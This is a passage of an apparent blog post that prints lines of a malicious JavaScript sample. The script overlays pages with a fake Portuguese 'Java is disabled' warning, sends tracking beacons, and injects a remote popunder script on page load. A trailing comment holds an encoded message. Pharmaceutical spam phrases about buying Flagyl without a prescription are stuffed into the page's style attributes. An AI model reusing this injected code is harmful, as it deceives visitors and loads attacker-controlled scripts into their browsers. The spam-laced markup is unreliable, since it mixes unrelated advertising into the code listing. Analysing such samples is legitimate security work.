<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 137:</span>             <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_javaon);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 138:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 139:</span>         } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 140:</span>             <span style="color: #008000">//java off</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 141:</span>             <span style="color: #0000ff">if</span> (<span style="color: #0000ff">typeof</span> window.innerWidth != <span style="color: #006080">'undefined'</span>) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 142:</span>                 viewportwidth = window.innerWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 143:</span>                 viewportheight = window.innerHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 144:</span>             } <span style="color: #0000ff">else</span> <span style="color: #0000ff">if</span> (<span style="color: #0000ff">typeof</span> document.documentElement != <span style="color: #006080">'undefined'</span> &amp;&amp; <span style="color: #0000ff">typeof</span> document.documentElement.clientWidth != <span style="color: #006080">'undefined'</span> &amp;&amp; document.documentElement.clientWidth != 0) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 145:</span>                 viewportwidth = document.documentElement.clientWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 146:</span>                 viewportheight = document.documentElement.clientHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 147:</span>             } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 148:</span>                 viewportwidth = document.getElementsByTagName(<span style="color: #006080">'body'</span>)[0].clientWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 149:</span>                 viewportheight = document.getElementsByTagName(<span style="color: #006080">'body'</span>)[0].clientHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 150:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 151:</span>             <span style="color: #008000">//html = 'java is NOT enabled...';</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 152:</span>             html = <span style="color: #006080">'&lt;div id=&quot;xyz_light_cont&quot; style=&quot;display: none; position: absolute; text-align: center; top: 0; left: 0; width: 103%; height: 103%; z-index: 9002; background: none&quot;&gt;&lt;div id=&quot;xyz_light&quot; style=&quot;display: none; margin: 0 auto; margin-top: 130px; width: 600px; padding: 0;    border: 16px solid #212121; border-top: none; background-color: white; z-index:9003; overflow: auto; font-family: Tahoma; font-size: 11px; color: black; text-align: center;&quot;&gt;&lt;!--&lt;div style=&quot;text-align: left; width: 70%; margin: auto auto; background-color: #fff; border: 1px solid #727272&quot;&gt;--&gt;&lt;div style=&quot;font-weight: bold; font-size: 12px; color: #fff; padding: 12px 8px 8px 4px; background-color: #212121; text-align: left&quot;&gt;Atenção&lt;/div&gt;&lt;div style=&quot;padding: 6px; background-color: #fff&quot;&gt;&lt;div style=&quot;text-align: right;&quot;&gt;&lt;a style=&quot;text-decoration: underline; color: blue&quot; href=&quot;javascript:void(0)&quot; onclick=&quot;document.getElementById(\'xyz_light\').style.display=\'none\';document.getElementById(\'xyz_fade\').style.display=\'none\';document.getElementById(\'xyz_light_cont\').style.display=\'none\'&quot;&gt;Fechar&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;padding-top: 8px; text-align: center&quot;&gt;&lt;img margin: 5px; padding: 0&quot; src=&quot;http://s1.postimage.org/317sn151g/java.jpg&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;padding: 10px 0 25px 0; text-align: center; font-weight: bold&quot;&gt;Você não possui Java ou ele está desabilitado.&lt;br /&gt;Esta página possui recursos que requerem que o Java esteja ativado.&lt;br /&gt;&lt;br /&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.java.com/pt_BR/download/&quot;&gt;Clique aqui para instalar o plugin do Java.&lt;/a&gt;&lt;/div&gt;&lt;!--&lt;/div&gt;--&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;'</span> + <span style="color: #006080">''</span> + <span style="color: #006080">'&lt;div id=&quot;xyz_fade&quot; style=&quot;display: none; position: absolute; top: 0; left: 0; width: '</span> + viewportwidth + <span style="color: #006080">'px; height: '</span> + viewportheight + <span style="color: #006080">'px; background-color: black; z-index: 9001; -moz-opacity: 0.8; opacity: .80; filter: alpha(opacity=80)&quot;&gt;&lt;/div&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 153:</span>             <span style="color: #008000">/**/</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 154:</span>             <span style="color: #008000">//report java disabled access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 155:</span>             <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_javaoff);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 156:</span>             <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_javaoff);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 157:</span>             <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_javaoff);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 158:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 159:</span>             document.getElementById(<span style="color: #006080">'xyz_light_cont'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 160:</span>             document.getElementById(<span style="color: #006080">'xyz_light'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 161:</span>             document.getElementById(<span style="color: #006080">'xyz_fade'</span>).style.display = <span style="color: #006080">'block'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 162:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 163:</span>         hBody.insertBefore(JSM_createScript(jsm_popunder_url), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 164:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 165:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 166:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 167:</span> <span style="color: #0000ff">function</span> JSM_onCreate() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 168:</span>     <span style="color: #0000ff">if</span> (jsm_loaded) <span style="color: #0000ff">return</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 169:</span>     <span style="color: #0000ff">var</span> myBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 170:</span>     <span style="color: #0000ff">if</span> (myBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 171:</span>         jsm_loaded = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 172:</span>         JSM_onInit(myBody);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 173:</span>     } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 174:</span>         setTimeout(<span style="color: #006080">&quot;JSM_onCreate()&quot;</span>, 100);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 175:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 176:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 177:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 178:</span> <span style="color: #0000ff">function</span> WindowOnload(f) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 179:</span>     <span style="color: #0000ff">var</span> prev = window.onload;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 180:</span>     window.onload = <span style="color: #0000ff">function</span> () {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 181:</span>         <span style="color: #0000ff">if</span> (prev) prev();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 182:</span>         f();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 183:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 184:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 185:</span> WindowOnload(JSM_onCreate);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 186:</span> setTimeout(<span style="color: #006080">&quot;JSM_onCreate()&quot;</span>, 7000);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 187:</span> <span style="color: #008000">/*</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 188:</span> <span style="color: #008000">msg = d_hex( d_b64( ?. ) );</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 189:</span> <span style="color: #008000">NTM2MTc1NjQ2MWU3ZjU2NTczMjA2MTZmNzMyMDZkNjU3NTczMjA2MzZmNmM2NTY3NjE3MzIwNjQ2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 190:</span> <span style="color: #008000">NTIwNzQ3MjYxNjI2MTZjNjg2ZjIwNjQ2ZjIwNjI2YzZmNjcyMDYzNzI2OTZkNjU3MzYzNjk2MjY1</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 191:</span> <span style="color: #008000">NzI2ZTY1NzQ2OTYzNmY3MzJlNjM2ZjZkMmUwZDBhNTM2MTYyNjU2ZTY0NmYyMDcxNzU2NTIwNmU2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 192:</span> <span style="color: #008000">MTY0NjEyMDczNjE2MjY1NmQ2ZjczMjA2NTczNzQ2MTZkNmY3MzIwNjE2Y2U5NmQyMDY0NmYyMDYy</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 193:</span> <span style="color: #008000">NjU2ZDIwNjUyMDY0NmYyMDZkNjE2YzJjMjA2MTY2Njk2ZTYxNmMyMDYxMjBmYTZlNjk2MzYxMjA2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>online Flagyl without a prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 194:</span> <span style="color: #008000">MzZmNjk3MzYxMjA2MTYyNzM2ZjZjNzU3NDYxMjBlOTIwNzE3NTY1MjA3NDc1NjQ2ZjIwZTkyMDcy</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 195:</span> <span style="color: #008000">NjU2YzYxNzQ2OTc2NmYyZTBkMGE1NTZkMjA2MTYyNzI2MWU3NmYyYzIwNjQ2ZjIwNzM2NTc1MjA2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 196:</span> <span style="color: #008000">MTZkNjk2NzZmMjA1MDczNzk2MzY4NmM2ZjJlMGQwYTYyNzkyMDUwNzM3OTYzNjg2YzZmMjAyZDIw</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 197:</span> <span style="color: #008000">MzEzMTJmMzEzMTJmMzEzMQ==</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 198:</span> <span style="color: #008000"></span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl duration</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 199:</span> <span style="color: #008000">*/</span></pre>  </div></div></p>
<p><p>&#160;</p></p>
